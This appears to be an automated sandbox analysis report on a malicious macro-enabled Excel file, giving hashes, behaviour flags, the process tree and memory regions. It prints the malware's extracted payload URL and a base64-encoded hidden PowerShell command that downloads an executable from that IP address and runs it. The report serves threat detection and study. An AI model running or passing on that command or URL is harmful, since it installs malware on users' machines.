Analysis
-
max time kernel
298s -
max time network
141s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
21-10-2021 12:54
Static task
static1
Behavioral task
behavioral1
Sample
QegkD76apDUdkgmDSSbB.xlsm
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
QegkD76apDUdkgmDSSbB.xlsm
Resource
win10-en-20210920
General
-
Target
QegkD76apDUdkgmDSSbB.xlsm
-
Size
144KB
-
MD5
31a6c161407e0e1c22ba4c8cc7922dbd
-
SHA1
68d27dbce6639d2360d24f3cfbd48e3f03a8c26a
-
SHA256
c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3
-
SHA512
035c4fe21e7153e13a3d5cf6013bb99e5a23ea7ca46693d8a1b6db72023d0d46fa20167da20d52ed38500ef97fe64eb42b0faa829ee5150e75484db8bbd8718d
Malware Config
Extracted
http://3.64.251.139/vr/r/QegkD76apDUdkgmDSSbB.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1464 3524 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 18 712 powershell.exe -
Deletes itself 1 IoCs
Processes:
EXCEL.EXEpid process 3524 EXCEL.EXE -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2220 712 WerFault.exe powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
NTFS ADS 1 IoCs
Processes:
EXCEL.EXEdescription ioc process File created C:\Users\Admin\AppData\Local\Temp\F7C57F00\:Zone.Identifier:$DATA EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3524 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exeWerFault.exepid process 712 powershell.exe 712 powershell.exe 712 powershell.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
EXCEL.EXEpid process 3524 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 712 powershell.exe Token: SeDebugPrivilege 2220 WerFault.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE 3524 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3524 wrote to memory of 1464 3524 EXCEL.EXE cmd.exe PID 3524 wrote to memory of 1464 3524 EXCEL.EXE cmd.exe PID 1464 wrote to memory of 712 1464 cmd.exe powershell.exe PID 1464 wrote to memory of 712 1464 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QegkD76apDUdkgmDSSbB.xlsm"1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBZAGQAbgBhAGcAZwBtAHQAbwB5AGMAawB5AGgAaQBjAG0AcwBiAGsAYgBtAGQALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANgA0AC4AMgA1ADEALgAxADMAOQAvAHYAcgAvAHIALwBRAGUAZwBrAEQANwA2AGEAcABEAFUAZABrAGcAbQBEAFMAUwBiAEIALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 712 -s 24564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.batMD5
52d685c5a6f1e37d97649a5d76a53f52
SHA1189724df16f5cebb6887689181014bb9901cd74d
SHA256385c2daf04f2d9042c38d2c6823a2fa5837cfd15dfb4e607749d68d8b7ef5736
SHA5120a6e8a5e298f1ec15c340d17c2da0531d9360c1c426000dd2b38d8852311942d9df90c759741060eca58b95b0184c33c6336f0a2ec8d2c3cf8bd692b2aa340eb
-
memory/712-157-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-160-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-156-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-165-0x000001C0BCAF3000-0x000001C0BCAF5000-memory.dmpFilesize
8KB
-
memory/712-155-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-159-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-158-0x000001C0BD380000-0x000001C0BD381000-memory.dmpFilesize
4KB
-
memory/712-154-0x000001C0BCAB0000-0x000001C0BCAB1000-memory.dmpFilesize
4KB
-
memory/712-164-0x000001C0BCAF0000-0x000001C0BCAF2000-memory.dmpFilesize
8KB
-
memory/712-166-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-167-0x000001C0BCAF6000-0x000001C0BCAF8000-memory.dmpFilesize
8KB
-
memory/712-153-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-152-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-151-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-150-0x000001C0A4340000-0x000001C0A4342000-memory.dmpFilesize
8KB
-
memory/712-149-0x0000000000000000-mapping.dmp
-
memory/1464-145-0x0000000000000000-mapping.dmp
-
memory/3524-134-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-133-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-143-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-142-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-144-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-140-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-146-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-147-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-139-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-138-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-137-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-136-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-135-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-141-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-115-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmpFilesize
64KB
-
memory/3524-132-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-129-0x00007FFE7F970000-0x00007FFE7F980000-memory.dmpFilesize
64KB
-
memory/3524-128-0x00007FFE7F970000-0x00007FFE7F980000-memory.dmpFilesize
64KB
-
memory/3524-127-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmpFilesize
64KB
-
memory/3524-121-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-120-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-119-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB
-
memory/3524-118-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmpFilesize
64KB
-
memory/3524-117-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmpFilesize
64KB
-
memory/3524-116-0x00007FFE82E80000-0x00007FFE82E90000-memory.dmpFilesize
64KB
-
memory/3524-168-0x0000022CB7560000-0x0000022CB7562000-memory.dmpFilesize
8KB